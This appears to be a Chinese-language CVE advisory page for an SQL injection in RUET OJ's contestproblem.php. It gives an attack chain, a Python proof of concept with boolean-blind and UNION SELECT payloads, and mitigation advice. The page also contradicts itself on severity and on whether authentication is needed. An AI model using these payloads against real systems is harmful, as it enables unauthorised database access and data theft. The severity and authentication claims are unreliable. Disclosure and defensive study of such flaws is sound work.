IPBUF安全漏洞报告
English
CVE-2025-12328 CVSS 6.3 中危

CVE-2025-12328 shawon100 RUET OJ contestproblem.php SQL注入漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12328
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
shawon100 RUET OJ

相关标签

SQL注入shawon100RUET OJ在线评测系统Web安全CVE-2025-12328数据库注入contestproblem.php

漏洞概述

CVE-2025-12328是shawon100 RUET OJ在线评测系统中的一个高危SQL注入漏洞。该漏洞存在于/contestproblem.php文件的Name参数中,攻击者可通过构造恶意的SQL语句实现未授权数据库访问。漏洞影响范围为18fa45b0a669fa1098a0b8fc629cf6856369d9a5及之前版本。攻击者可利用该漏洞获取系统敏感数据,包括用户信息、评测记录、源代码等,甚至可能通过UNION SELECT等技术在特定条件下实现系统权限提升。该漏洞无需高权限认证即可利用,对系统安全性构成严重威胁。

技术细节

漏洞位于shawon100 RUET OJ系统的/contestproblem.php文件中的Name参数。攻击者通过在Name参数中注入SQL语句,如使用单引号闭合原查询并构造UNION SELECT语句,可实现未授权数据访问。攻击者可通过以下方式利用:(1) 使用布尔盲注探测数据库结构;(2) 使用UNION注入提取敏感数据;(3) 在某些配置下可能实现命令执行。CVSS评分6.3(AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L),表明攻击可远程发起,需要低权限认证,对机密性、完整性和可用性均有低至中等影响。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者访问目标站点,识别/contestproblem.php端点
STEP 2
步骤2
漏洞探测:使用单引号(')测试Name参数是否存在SQL注入
STEP 3
步骤3
注入点确认:通过布尔盲注验证漏洞存在(如' OR 1=1 --)
STEP 4
步骤4
数据提取:利用UNION SELECT语句提取数据库敏感信息
STEP 5
步骤5
权限提升:在特定数据库配置下可能实现系统命令执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12328 SQL Injection PoC # Target: shawon100 RUET OJ /contestproblem.php def exploit_sqli(target_url, payload): """ SQL injection exploitation function """ params = { 'Name': payload # Vulnerable parameter } try: response = requests.get(target_url, params=params) return response.text except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None def blind_sqli(target_url): """ Boolean-based blind SQL injection to extract database version """ # Test for SQL injection vulnerability true_payload = "' OR 1=1 --" false_payload = "' OR 1=2 --" true_response = exploit_sqli(target_url, true_payload) false_response = exploit_sqli(target_url, false_payload) if true_response != false_response: print("[+] SQL Injection vulnerability confirmed!") # Extract database version version_payload = "' UNION SELECT NULL,@@version,NULL,NULL,NULL --" version_response = exploit_sqli(target_url, version_payload) print(f"[*] Database version: {version_response}") else: print("[-] SQL Injection not confirmed") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/contestproblem.php") sys.exit(1) target = sys.argv[1] blind_sqli(target)

影响范围

shawon100 RUET OJ <= 18fa45b0a669fa1098a0b8fc629cf6856369d9a5

防御指南

临时缓解措施
立即在/contestproblem.php文件中的Name参数处实施输入过滤和参数化查询。对所有用户输入进行严格验证,使用白名单机制限制允许的字符。对数据库账户权限进行最小化配置,禁用危险的SQL函数。部署WAF规则阻断SQL注入攻击流量。在无法立即修复的情况下,可暂时禁用相关功能模块。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表